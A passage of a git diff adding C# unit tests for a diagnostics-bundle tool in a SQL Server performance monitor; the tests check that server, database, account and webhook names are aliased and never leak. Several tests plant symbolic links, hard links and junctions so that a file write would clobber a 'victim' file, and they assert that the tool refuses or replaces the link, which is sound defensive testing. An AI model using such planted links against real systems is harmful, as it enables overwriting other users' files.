+            var exit = await DarlingCliCommands.DiagnosticsBundleAsync(new[] { first, "--config", config, "--log-dir", logs, "--alias-map", map }, new StringWriter(), error, ct);
+            Assert.True(exit == DarlingCliCommands.DiagnosticsBundleExitCode.Ok, $"exit {exit}: {error}");
+            Assert.True(File.Exists(first), error.ToString());
+
+            var leaked = FirstLeak(first);
+            Assert.True(leaked is null, $"the bundle contains the seeded string '{leaked}'");
+
+            var text = await File.ReadAllTextAsync(first, ct);
+            Assert.Contains("server-1", text, StringComparison.Ordinal);
+            Assert.Contains("db-1", text, StringComparison.Ordinal);
+            Assert.Contains("ip-1", text, StringComparison.Ordinal);
+
+            var tree = JsonNode.Parse(text)!;
+            var sections = tree["sections"]!.AsObject();
+            foreach (var name in new[] { "store", "collection", "stall_probes", "slow_reads", "store_statements", "service_log", "config_shape" })
+            {
+                Assert.True(sections.ContainsKey(name), "missing section " + name);
+            }
+
+            /* Every seeded section was read: none may have failed, and the collection section holds the seeded run. */
+            foreach (var (sectionName, node) in sections)
+            {
+                Assert.NotEqual("error", node?["status"]?.GetValue<string>());
+            }
+
+            foreach (var entry in tree["manifest"]!["sections"]!.AsArray())
+            {
+                Assert.NotEqual("error", entry!["status"]!.GetValue<string>());
+            }
+
+            Assert.NotEmpty(sections["collection"]!["slowest_runs"]!["runs"]!.AsArray());
+            Assert.NotEmpty(sections["collection"]!["health_by_server"]!.AsArray());
+
+            /* #5249: the gated PostgreSQL server's not-collected rows are in the bundle, and the leak scan above already
+               proved its name appears nowhere, so the alias pass reached each row's message. */
+            var gatedRows = sections["collection"]!["health_by_server"]!.AsArray()
+                .SelectMany(e => e!["health"]?["collectors"]?.AsArray().OfType<JsonObject>() ?? Enumerable.Empty<JsonObject>())
+                .Where(r => r["status"]?.GetValue<string>() == "not_collected").ToList();
+            Assert.NotEmpty(gatedRows);
+            Assert.All(gatedRows, r => Assert.StartsWith("server-", r["message"]!.GetValue<string>(), StringComparison.Ordinal));
+            Assert.NotEmpty(sections["store_log"]!["retained_events"]!.AsArray());
+            Assert.NotEmpty(sections["stall_probes"]!["probes"]!.AsArray());
+            Assert.NotEmpty(sections["slow_reads"]!["reads"]!.AsArray());
+            Assert.NotEmpty(sections["service_log"]!["entries"]!.AsArray());
+            /* The history member is the ranked answer of get_store_query_history (#5097), not the two V163 tables read by the bundle
+               itself: its shape is the tool's (mode ranked, a statements list), where it was status ok and top_statement_rows. */
+            var history = sections["store_statements"]!["history"]!;
+            Assert.Equal("ranked", history["mode"]!.GetValue<string>());
+            Assert.NotEmpty(history["statements"]!.AsArray());
+            Assert.Contains("DeltaLedgerDb", await File.ReadAllTextAsync(map, ct), StringComparison.Ordinal);
+
+            /* The history's statement text was aliased whole and cut afterwards: the name that straddles the preview cut reads as its
+               token, and no prefix of it is left. */
+            var straddling = history["statements"]!.AsArray()
+                .Select(s => s!["query"]!.GetValue<string>())
+                .Single(q => q.Contains("ffffffff", StringComparison.Ordinal));
+            Assert.Matches(@"AS db-\d+$", straddling);
+            Assert.DoesNotContain("gamma", straddling, StringComparison.OrdinalIgnoreCase);
+            Assert.DoesNotContain("gamma", history.ToJsonString(), StringComparison.OrdinalIgnoreCase);
+
+            /* The statement ran and its text reached the bundle, with the seeded identifier aliased. */
+            var cumulative = sections["store_statements"]!["cumulative"]!.ToJsonString();
+            Assert.Contains("lit_col", cumulative, StringComparison.Ordinal);
+            Assert.Contains("db-", cumulative, StringComparison.Ordinal);
+
+            /* A second run uses the same aliases. */
+            var again = await DarlingCliCommands.DiagnosticsBundleAsync(new[] { second, "--config", config, "--log-dir", logs }, new StringWriter(), new StringWriter(), ct);
+            Assert.True(again is DarlingCliCommands.DiagnosticsBundleExitCode.Ok or DarlingCliCommands.DiagnosticsBundleExitCode.PartialBundle);
+            Assert.Equal(
+                sections["stall_probes"]!["probes"]![0]!["server_name"]!.GetValue<string>(),
+                JsonNode.Parse(await File.ReadAllTextAsync(second, ct))!["sections"]!["stall_probes"]!["probes"]![0]!["server_name"]!.GetValue<string>());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+            await DropRoleAsync(baseConnectionString!);
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public async Task SmallStoreOverTheCap_StaysUnderFourMiB()
+    {
+        var baseConnectionString = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live bundle size test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var root = Directory.CreateTempSubdirectory("darling-bundle-size-");
+        var bodySucceeded = false;
+        try
+        {
+            await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+            }
+
+            var logs = Path.Combine(root.FullName, "logs");
+            Directory.CreateDirectory(logs);
+            var line = $"{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff} [ERROR] [Cat] {new string('x', 1_800)}\n";
+            File.WriteAllText(Path.Combine(logs, $"darling-service_{DateTime.Now:yyyyMMdd}.log"), string.Concat(Enumerable.Repeat(line, 3_000)));
+            var bundle = Path.Combine(root.FullName, "b.json");
+            var exit = await DarlingCliCommands.DiagnosticsBundleAsync(
+                new[] { bundle, "--config", Config(scratch.ConnectionString, root.FullName), "--log-dir", logs }, new StringWriter(), new StringWriter(), ct);
+            Assert.True(exit is 0 or 3);
+            Assert.True(new FileInfo(bundle).Length <= DiagnosticsBundle.TotalCapBytes);
+            var serviceLog = JsonNode.Parse(await File.ReadAllTextAsync(bundle, ct))!["sections"]!["service_log"]!;
+            Assert.True(new FileInfo(bundle).Length > 100_000);
+            Assert.NotEmpty(serviceLog["entries"]!.AsArray());
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+            root.Delete(recursive: true);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DiagnosticsBundleRound2Tests.cs b/Darling/Darling.Tests/DiagnosticsBundleRound2Tests.cs
new file mode 100644
index 0000000000..d832b13313
--- /dev/null
+++ b/Darling/Darling.Tests/DiagnosticsBundleRound2Tests.cs
@@ -0,0 +1,551 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>#5097: the verifier's treatment of ordinary names, the quoted-account rule, the service-account notes, the cut-after-alias order and the alias-map writer. Names are synthetic.</summary>
+public sealed class DiagnosticsBundleRound2Tests
+{
+    private static (string? Text, int Leaks) Assemble(BundleAliaser aliaser, params BundleSection[] sections)
+    {
+        var (text, leaks, _) = DiagnosticsBundle.Assemble(sections, aliaser, DiagnosticsBundle.BuildManifest(1, "fleet", 0));
+        return (text, leaks.Count);
+    }
+
+    private static BundleSection Section(string name, JsonNode node, Func<JsonNode?, JsonNode?>? after = null) => new(name, node, false, after);
+
+    /* ── a name that is an ordinary word must not turn the verb unusable ── */
+
+    [Theory]
+    [InlineData("Store", "store_log")]
+    [InlineData("Data", "data_volume")]
+    [InlineData("Health", "collection_health")]
+    public void ADatabaseNamedLikeAProductWord_ExitsClean_AndTheProductKeyIsIntact(string database, string key)
+    {
+        var aliaser = new BundleAliaser();
+        aliaser.AddName(AliasKind.Database, database);
+        var node = new JsonObject { ["status"] = "ok", [key] = 3, ["schema_version_stored"] = 163, ["rows"] = new JsonArray(new JsonObject { ["database_name"] = database }) };
+        var (text, leaks) = Assemble(aliaser, Section("store_log", node));
+
+        Assert.Equal(0, leaks);
+        Assert.NotNull(text);
+        Assert.Contains("\"" + key + "\"", text, StringComparison.Ordinal);
+        Assert.Contains("\"store_log\"", text, StringComparison.Ordinal);
+        Assert.Contains("db-1", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ARealNameInsideMintedAliasText_IsNotALeak_AndTheGluedPassNeverRewritesTheAlias()
+    {
+        var aliaser = new BundleAliaser();
+        aliaser.AddName(AliasKind.Domain, "example.test");
+        aliaser.AddName(AliasKind.Database, "main");
+        aliaser.AddName(AliasKind.Host, "host");
+        aliaser.AddName(AliasKind.Server, "alpha-sql-01");
+        var node = new JsonObject
+        {
+            ["status"] = "ok",
+            ["note"] = "reached example.test from alpha-sql-01 using main",
+            ["glued"] = "mainalpha-sql-01",
+        };
+        var (text, leaks) = Assemble(aliaser, Section("store_log", node));
+
+        Assert.Equal(0, leaks);
+        Assert.NotNull(text);
+        Assert.Contains("domain-1", text, StringComparison.Ordinal);
+        Assert.Contains("server-1", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("dodb", text, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("doDB", text, StringComparison.Ordinal);
+    }
+
+    /* ── a monitored name used as a whole key is renamed, never exempted ── */
+
+    [Theory]
+    [InlineData("zeta07", true)]
+    [InlineData("sales_db", false)]
+    [InlineData("Store", false)]
+    public void AKeyThatIsItselfAMonitoredName_IsRenamedToItsAlias_AndTheValueAndOrderSurvive(string name, bool isServer)
+    {
+        var aliaser = new BundleAliaser();
+        aliaser.AddName(isServer ? AliasKind.Server : AliasKind.Database, name);
+        var node = new JsonObject { ["status"] = "ok", ["first"] = 1, [name] = new JsonObject { ["x"] = 1 }, ["last"] = 2 };
+        var (text, leaks) = Assemble(aliaser, Section("store_log", node));
+
+        Assert.Equal(0, leaks);
+        Assert.NotNull(text);
+        /* "Store" is also a substring of the product's own store_log, so the key is checked whole. */
+        Assert.DoesNotContain("\"" + name + "\"", text, StringComparison.OrdinalIgnoreCase);
+        var alias = isServer ? "server-1" : "db-1";
+        Assert.Contains("\"" + alias + "\"", text, StringComparison.Ordinal);
+        Assert.True(text.IndexOf("\"first\"", StringComparison.Ordinal) < text.IndexOf("\"" + alias + "\"", StringComparison.Ordinal));
+        Assert.True(text.IndexOf("\"" + alias + "\"", StringComparison.Ordinal) < text.IndexOf("\"last\"", StringComparison.Ordinal));
+        Assert.Contains("\"x\": 1", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AKeyThatIsAProductWord_IsNotRenamed_EvenWhenANameIsASubstringOfIt()
+    {
+        var aliaser = new BundleAliaser();
+        aliaser.AddName(AliasKind.Database, "Store");
+        var node = new JsonObject { ["status"] = "ok", ["store_log"] = 1, ["server_id"] = 7 };
+        var (text, leaks) = Assemble(aliaser, Section("store_log", node));
+
+        Assert.Equal(0, leaks);
+        Assert.NotNull(text);
+        Assert.Contains("\"store_log\": 1", text, StringComparison.Ordinal);
+        Assert.Contains("\"status\": \"ok\"", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ADataShapedKeyHoldingAName_StillFailsClosed()
+    {
+        var aliaser = new BundleAliaser();
+        aliaser.AddName(AliasKind.Database, "Store");
+        var node = new JsonObject { ["status"] = "ok", ["Store_Log"] = 1 };
+        var (text, leaks) = Assemble(aliaser, Section("store_log", node));
+        Assert.True(leaks > 0);
+        Assert.Null(text);
+
+        var spaced = new JsonObject { ["status"] = "ok", ["store log"] = 1 };
+        var (spacedText, spacedLeaks) = Assemble(aliaser, Section("store_log", spaced));
+        Assert.True(spacedLeaks > 0);
+        Assert.Null(spacedText);
+    }
+
+    /* ── the quoted WORD\word rule ── */
+
+    [Theory]
+    [InlineData(@"open '..\logs' to see them")]
+    [InlineData("see \"pg\\pg.log\" for the server log")]
+    [InlineData(@"use 'server\instance' as the form")]
+    [InlineData(@"read 'etc\app.conf' first")]
+    public void AQuotedPathOrHelpText_RegistersNoAccount(string text)
+    {
+        var aliaser = new BundleAliaser();
+        aliaser.Harvest(JsonNode.Parse(System.Text.Json.JsonSerializer.Serialize(new { message = text })));
+        Assert.Empty(aliaser.AliasMapLines());
+        Assert.Equal(text, aliaser.Alias(text));
+    }
+
+    [Fact]
+    public void AQuotedNetBiosAccount_StillAliases()
+    {
+        var aliaser = new BundleAliaser();
+        var text = aliaser.Alias(@"Login failed for user 'QXCORP\svc_zeta'.");
+        Assert.DoesNotContain("QXCORP", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("svc_zeta", text, StringComparison.Ordinal);
+        Assert.Contains("domain-", text, StringComparison.Ordinal);
+        Assert.Contains("login-", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AHalfThatIsABundleKey_IsNotAnAccount()
+    {
+        var aliaser = new BundleAliaser();
+        aliaser.NoteKeys(new JsonObject { ["store_log"] = 1, ["slow_reads"] = 2 });
+        Assert.Equal(@"saw 'store_log\slow_reads' here", aliaser.Alias(@"saw 'store_log\slow_reads' here"));
+        Assert.Empty(aliaser.AliasMapLines());
+    }
+
+    /* ── the service-account read ── */
+
+    [Fact]
+    public void ServiceAccount_MissingKey_NonStringValue_AndBuiltInAccounts_EachAddANote()
+    {
+        var (_, _, missing) = DiagnosticsBundle.ClassifyServiceAccount(keyFound: false, null);
+        var (_, _, notText) = DiagnosticsBundle.ClassifyServiceAccount(keyFound: true, 42);
+        var (_, _, system) = DiagnosticsBundle.ClassifyServiceAccount(keyFound: true, "LocalSystem");
+        var (_, _, authority) = DiagnosticsBundle.ClassifyServiceAccount(keyFound: true, @"NT AUTHORITY\NetworkService");
+        var (_, _, service) = DiagnosticsBundle.ClassifyServiceAccount(keyFound: true, @"NT SERVICE\SomeService");
+        foreach (var note in new[] { missing, notText, system, authority, service })
+        {
+            Assert.False(string.IsNullOrWhiteSpace(note));
+        }
+
+        var (domain, login, none) = DiagnosticsBundle.ClassifyServiceAccount(keyFound: true, @"QXCORP\svc_zeta");
+        Assert.Equal("QXCORP", domain);
+        Assert.Equal("svc_zeta", login);
+        Assert.Null(none);
+        Assert.DoesNotContain("SomeService", service!, StringComparison.Ordinal);
+    }
+
+    /* ── notification routes and the SMTP login ── */
+
+    [Fact]
+    public void NotificationRoutes_AndTheSmtpUsername_AreSeeded()
+    {
+        var config = new DarlingConfig();
+        config.Smtp.Username = "qxsmtpuser@qxmail.example.test";
+        config.NotificationRoutes = new[]
+        {
+            new PerformanceMonitor.Notifications.NotificationRoute(
+                1, "All", "https://hooks.qxrouteteams.example.test/services/T1/B1/ROUTESECRET01", "", "", "pdroutekey-QX99", "ops@qxroutedom.example.test, dba@qxroutedom2.example.test", true),
+        };
+        var aliaser = new BundleAliaser();
+        DiagnosticsBundle.SeedNotificationIdentifiers(aliaser, config);
+        var text = aliaser.Alias(
+            "route https://hooks.qxrouteteams.example.test/services/T1/B1/ROUTESECRET01 key pdroutekey-QX99 mail qxroutedom.example.test and qxroutedom2.example.test login qxsmtpuser at qxmail.example.test");
+        foreach (var forbidden in new[] { "qxrouteteams", "pdroutekey", "ROUTESECRET01", "qxroutedom", "qxsmtpuser", "qxmail" })
+        {
+            Assert.DoesNotContain(forbidden, text, StringComparison.OrdinalIgnoreCase);
+        }
+    }
+
+    /* ── cut after alias ── */
+
+    [Fact]
+    public void AnFqdnStraddlingTheHealthCut_LeavesNoPrefix()
+    {
+        const string host = "sql01.contoso-corp.example.test";
+        var error = new string('x', DarlingCutLength - 10) + " " + host + " failed";
+        Assert.True(error.IndexOf(host, StringComparison.Ordinal) < DarlingCutLength && error.IndexOf(host, StringComparison.Ordinal) + host.Length > DarlingCutLength);
+        var node = new JsonObject
+        {
+            ["status"] = "ok",
+            ["health_by_server"] = new JsonArray(new JsonObject
+            {
+                ["server_name"] = "alpha-sql-01",
+                ["health"] = new JsonObject
+                {
+                    ["collectors"] = new JsonArray(new JsonObject { ["collector"] = "wait_stats", ["last_error"] = error, ["last_error_truncated"] = false }),
+                },
+            }),
+        };
+        var aliaser = new BundleAliaser();
+        aliaser.AddName(AliasKind.Host, host);
+        var (text, leaks) = Assemble(aliaser, Section("collection", node, DiagnosticsBundleRunner.CutHealthTexts));
+
+        Assert.Equal(0, leaks);
+        Assert.NotNull(text);
+        Assert.DoesNotContain("sql01", text, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("contoso", text, StringComparison.OrdinalIgnoreCase);
+        var row = JsonNode.Parse(text!)!["sections"]!["collection"]!["health_by_server"]![0]!["health"]!["collectors"]![0]!;
+        Assert.True(row["last_error_truncated"]!.GetValue<bool>() || row["last_error"]!.GetValue<string>().Length <= DarlingCutLength + 20);
+    }
+
+    private const int DarlingCutLength = 500;
+
+    [Fact]
+    public void SlowReads_DropTheStatementSummary_AndKeepTheStatements()
+    {
+        var node = JsonNode.Parse("""{"reads":[{"statement_summary":"#1 query_store_stats @ gamma_orders 1a2b","statements":[{"label":"query_store_stats @ gamma_orders 1a2b3c","ms":1.5}]}]}""");
+        var shaped = DiagnosticsBundleRunner.DropStatementSummaries(node)!;
+        Assert.Null(shaped["reads"]![0]!["statement_summary"]);
+        Assert.NotNull(shaped["reads"]![0]!["statements"]![0]!["label"]);
+    }
+
+    /* ── the alias map ── */
+
+    private static async Task<(int Exit, string Err)> RunAsync(params string[] args)
+    {
+        var error = new StringWriter();
+        var exit = await DarlingCliCommands.DiagnosticsBundleAsync(args, new StringWriter(), error, CancellationToken.None);
+        return (exit, error.ToString());
+    }
+
+    private static string WriteConfig(DirectoryInfo root)
+    {
+        var path = Path.Combine(root.FullName, "darling.json");
+        File.WriteAllText(path, """
+            {
+              "postgres": { "connectionString": "Host=127.0.0.1;Port=1;Username=betaowner;Password=Zq8-secretvalue;Database=darlingtest;Timeout=2" },
+              "servers": [ { "name": "alpha-sql-01", "host": "alpha-sql-01.example.test" } ]
+            }
+            """);
+        return path;
+    }
+
+    /// <summary>Runs a helper process (a link tool) and returns whether it exited 0.</summary>
+    private static bool RunTool(string fileName, string arguments, params string[] argumentList)
+    {
+        var start = new System.Diagnostics.ProcessStartInfo(fileName)
+        {
+            UseShellExecute = false,
+            CreateNoWindow = true,
+            RedirectStandardOutput = true,
+            RedirectStandardError = true,
+        };
+        if (arguments.Length > 0)
+        {
+            start.Arguments = arguments;
+        }
+
+        foreach (var argument in argumentList)
+        {
+            start.ArgumentList.Add(argument);
+        }
+
+        using var process = System.Diagnostics.Process.Start(start)!;
+        process.StandardOutput.ReadToEnd();
+        process.StandardError.ReadToEnd();
+        process.WaitForExit();
+        return process.ExitCode == 0;
+    }
+
+    /// <summary>
+    /// Builds a symbolic link of the right kind: a directory link for a directory target, a file link otherwise. Windows
+    /// needs a privilege for this, so a refusal there ends the test as skipped with that reason; off Windows a refusal
+    /// is a failure, because the attack can always be built.
+    /// </summary>
+    private static void MakeSymbolicLink(string link, string target, bool directory)
+    {
+        try
+        {
+            if (directory)
+            {
+                Directory.CreateSymbolicLink(link, target);
+            }
+            else
+            {
+                File.CreateSymbolicLink(link, target);
+            }
+        }
+        catch (Exception ex) when (ex is UnauthorizedAccessException or IOException)
+        {
+            Assert.True(OperatingSystem.IsWindows(), "Symbolic links must be creatable off Windows: " + ex.Message);
+            Assert.Skip("This Windows account lacks the symbolic-link privilege (SeCreateSymbolicLink); the junction and hard-link facts cover the unprivileged cases.");
+        }
+
+        FileSystemInfo made = directory ? new DirectoryInfo(link) : new FileInfo(link);
+        Assert.NotNull(made.LinkTarget);
+    }
+
+    /// <summary>A hard link needs no privilege on NTFS or on POSIX, so this never skips.</summary>
+    private static void MakeHardLink(string link, string existing)
+    {
+        var made = OperatingSystem.IsWindows()
+            ? RunTool("cmd.exe", "/c mklink /H \"" + link + "\" \"" + existing + "\"")
+            : RunTool("ln", string.Empty, existing, link);
+        Assert.True(made, "The hard link could not be created.");
+    }
+
+    /// <summary>A directory junction needs no privilege on Windows, so this never skips there.</summary>
+    private static void MakeJunction(string link, string targetDirectory)
+    {
+        Assert.True(RunTool("cmd.exe", "/c mklink /J \"" + link + "\" \"" + targetDirectory + "\""), "The junction could not be created.");
+    }
+
+    /// <summary>Proves a directory link really is traversable before the refusal is asserted: a file created through it shows in the target.</summary>
+    private static void AssertTraversable(string link, string targetDirectory)
+    {
+        Assert.True(Directory.Exists(link));
+        var probe = Guid.NewGuid().ToString("N") + ".probe";
+        File.WriteAllText(Path.Combine(link, probe), "x");
+        Assert.True(File.Exists(Path.Combine(targetDirectory, probe)));
+    }
+
+    [Fact]
+    public void AliasMap_AFileLinkedBundlePath_ThatPointsAtTheMap_IsRefused()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-maplink-");
+        try
+        {
+            var real = Path.Combine(root.FullName, "real.txt");
+            var link = Path.Combine(root.FullName, "b.json");
+            MakeSymbolicLink(link, real, directory: false);
+
+            var options = DiagnosticsBundle.ParseArgs(new[] { link, "--alias-map", real }).Options!;
+            Assert.Contains("different file", DiagnosticsBundle.CheckAliasMap(options), StringComparison.Ordinal);
+
+            /* The map path itself a link to the bundle's real location, which does not exist yet. */
+            var mapLink = Path.Combine(root.FullName, "m.txt");
+            var bundle = Path.Combine(root.FullName, "out.json");
+            MakeSymbolicLink(mapLink, bundle, directory: false);
+            var second = DiagnosticsBundle.ParseArgs(new[] { bundle, "--alias-map", mapLink }).Options!;
+            Assert.Contains("different file", DiagnosticsBundle.CheckAliasMap(second), StringComparison.Ordinal);
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public void AliasMap_ADirectorySymlink_ThatHoldsTheBundle_IsRefused()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-dirlink-");
+        try
+        {
+            var dir = Directory.CreateDirectory(Path.Combine(root.FullName, "dir"));
+            var dirLink = Path.Combine(root.FullName, "dirlink");
+            MakeSymbolicLink(dirLink, dir.FullName, directory: true);
+            AssertTraversable(dirLink, dir.FullName);
+
+            var third = DiagnosticsBundle.ParseArgs(new[] { Path.Combine(dir.FullName, "x.json"), "--alias-map", Path.Combine(dirLink, "x.json") }).Options!;
+            Assert.Contains("different file", DiagnosticsBundle.CheckAliasMap(third), StringComparison.Ordinal);
+
+            var reversed = DiagnosticsBundle.ParseArgs(new[] { Path.Combine(dirLink, "x.json"), "--alias-map", Path.Combine(dir.FullName, "x.json") }).Options!;
+            Assert.Contains("different file", DiagnosticsBundle.CheckAliasMap(reversed), StringComparison.Ordinal);
+
+            /* A different file in the linked directory is not refused. */
+            var other = DiagnosticsBundle.ParseArgs(new[] { Path.Combine(dir.FullName, "x.json"), "--alias-map", Path.Combine(dirLink, "y.txt") }).Options!;
+            Assert.Null(DiagnosticsBundle.CheckAliasMap(other));
+        }
+        finally
+        {
+            /* Delete the link itself first so the recursive delete never walks into its target. */
+            var linkPath = Path.Combine(root.FullName, "dirlink");
+            if (new DirectoryInfo(linkPath).LinkTarget is not null)
+            {
+                Directory.Delete(linkPath, recursive: false);
+            }
+
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    [System.Runtime.Versioning.UnsupportedOSPlatform("windows")]
+    public void AliasMap_APathComponent_ThatExistsButCannotBeInspected_IsRefused()
+    {
+        Assert.SkipWhen(OperatingSystem.IsWindows(), "Denying a directory by mode needs POSIX permissions.");
+        Assert.SkipWhen(geteuid() == 0, "Root can inspect a directory whose mode is 000.");
+        var root = Directory.CreateTempSubdirectory("darling-bundle-denied-");
+        var denied = Path.Combine(root.FullName, "A");
+        try
+        {
+            Directory.CreateDirectory(Path.Combine(denied, "sub"));
+            File.SetUnixFileMode(denied, UnixFileMode.None);
+
+            /* Precondition: inspecting a child of the denied directory really throws. */
+            Assert.Throws<UnauthorizedAccessException>(() => File.GetAttributes(Path.Combine(denied, "sub")));
+
+            var options = DiagnosticsBundle.ParseArgs(new[] { Path.Combine(root.FullName, "b.json"), "--alias-map", Path.Combine(denied, "sub", "x.json") }).Options!;
+            var problem = DiagnosticsBundle.CheckAliasMap(options);
+            Assert.NotNull(problem);
+            Assert.Contains("could not be resolved (a path component could not be inspected)", problem, StringComparison.Ordinal);
+            Assert.Contains("cannot prove the map is a different file", problem, StringComparison.Ordinal);
+
+            /* A component that does not exist yet is still compared as written. */
+            var fresh = DiagnosticsBundle.ParseArgs(new[] { Path.Combine(root.FullName, "b.json"), "--alias-map", Path.Combine(root.FullName, "missing", "x.json") }).Options!;
+            Assert.Null(DiagnosticsBundle.CheckAliasMap(fresh));
+        }
+        finally
+        {
+            File.SetUnixFileMode(denied, UnixFileMode.UserRead | UnixFileMode.UserWrite | UnixFileMode.UserExecute);
+            root.Delete(recursive: true);
+        }
+    }
+
+    [System.Runtime.InteropServices.DllImport("libc")]
+    private static extern uint geteuid();
+
+    [Fact]
+    public void AliasMap_AJunction_ThatHoldsTheBundle_IsRefused()
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "Junctions are a Windows feature.");
+        var root = Directory.CreateTempSubdirectory("darling-bundle-junction-");
+        try
+        {
+            var dir = Directory.CreateDirectory(Path.Combine(root.FullName, "dir"));
+            var junction = Path.Combine(root.FullName, "junction");
+            MakeJunction(junction, dir.FullName);
+            AssertTraversable(junction, dir.FullName);
+
+            var viaJunction = DiagnosticsBundle.ParseArgs(new[] { Path.Combine(dir.FullName, "x.json"), "--alias-map", Path.Combine(junction, "x.json") }).Options!;
+            Assert.Contains("different file", DiagnosticsBundle.CheckAliasMap(viaJunction), StringComparison.Ordinal);
+
+            var reversed = DiagnosticsBundle.ParseArgs(new[] { Path.Combine(junction, "x.json"), "--alias-map", Path.Combine(dir.FullName, "x.json") }).Options!;
+            Assert.Contains("different file", DiagnosticsBundle.CheckAliasMap(reversed), StringComparison.Ordinal);
+
+            var other = DiagnosticsBundle.ParseArgs(new[] { Path.Combine(dir.FullName, "x.json"), "--alias-map", Path.Combine(junction, "y.txt") }).Options!;
+            Assert.Null(DiagnosticsBundle.CheckAliasMap(other));
+        }
+        finally
+        {
+            /* Delete the junction itself first so the recursive delete never walks into its target. */
+            var junctionPath = Path.Combine(root.FullName, "junction");
+            if (Directory.Exists(junctionPath))
+            {
+                Directory.Delete(junctionPath, recursive: false);
+            }
+
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public async Task AliasMap_WrittenThroughAPlantedLink_ReplacesTheLink_AndNeverTheVictim()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-mapwrite-");
+        try
+        {
+            var victim = Path.Combine(root.FullName, "victim.txt");
+            await File.WriteAllTextAsync(victim, "VICTIM");
+            var map = Path.Combine(root.FullName, "map.txt");
+            MakeSymbolicLink(map, victim, directory: false);
+            Assert.Equal("VICTIM", await File.ReadAllTextAsync(map));
+
+            var logs = Directory.CreateDirectory(Path.Combine(root.FullName, "logs")).FullName;
+            var (exit, _) = await RunAsync(Path.Combine(root.FullName, "b.json"), "--config", WriteConfig(root), "--log-dir", logs, "--alias-map", map, "--force");
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.StoreUnreachable, exit);
+            Assert.Equal("VICTIM", await File.ReadAllTextAsync(victim));
+            Assert.Null(new FileInfo(map).LinkTarget);
+            Assert.StartsWith("DO NOT ATTACH", await File.ReadAllTextAsync(map), StringComparison.Ordinal);
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public async Task AliasMap_WrittenOverAHardLink_ReplacesTheEntry_AndNeverTheVictim()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-maphard-");
+        try
+        {
+            var victim = Path.Combine(root.FullName, "victim.txt");
+            await File.WriteAllTextAsync(victim, "VICTIM");
+            var map = Path.Combine(root.FullName, "map.txt");
+            MakeHardLink(map, victim);
+
+            /* Precondition: the two names are one file, so a write through either would show in the other. */
+            Assert.Equal("VICTIM", await File.ReadAllTextAsync(map));
+            await File.AppendAllTextAsync(map, "!");
+            Assert.Equal("VICTIM!", await File.ReadAllTextAsync(victim));
+            await File.WriteAllTextAsync(victim, "VICTIM");
+
+            var logs = Directory.CreateDirectory(Path.Combine(root.FullName, "logs")).FullName;
+            var (exit, _) = await RunAsync(Path.Combine(root.FullName, "b.json"), "--config", WriteConfig(root), "--log-dir", logs, "--alias-map", map, "--force");
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.StoreUnreachable, exit);
+            Assert.Equal("VICTIM", await File.ReadAllTextAsync(victim));
+            Assert.StartsWith("DO NOT ATTACH", await File.ReadAllTextAsync(map), StringComparison.Ordinal);
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public async Task AliasMap_EmptyPath_ExitsOne()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-bundle-mapempty-");
+        try
+        {
+            var (exit, err) = await RunAsync(Path.Combine(root.FullName, "b.json"), "--config", WriteConfig(root), "--alias-map", "");
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.ConfigError, exit);
+            Assert.Contains("--alias-map needs a path", err, StringComparison.Ordinal);
+            Assert.False(File.Exists(Path.Combine(root.FullName, "b.json")));
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DiagnosticsBundleSealedTextTests.cs b/Darling/Darling.Tests/DiagnosticsBundleSealedTextTests.cs
new file mode 100644
index 0000000000..838e569834
--- /dev/null
+++ b/Darling/Darling.Tests/DiagnosticsBundleSealedTextTests.cs
@@ -0,0 +1,85 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
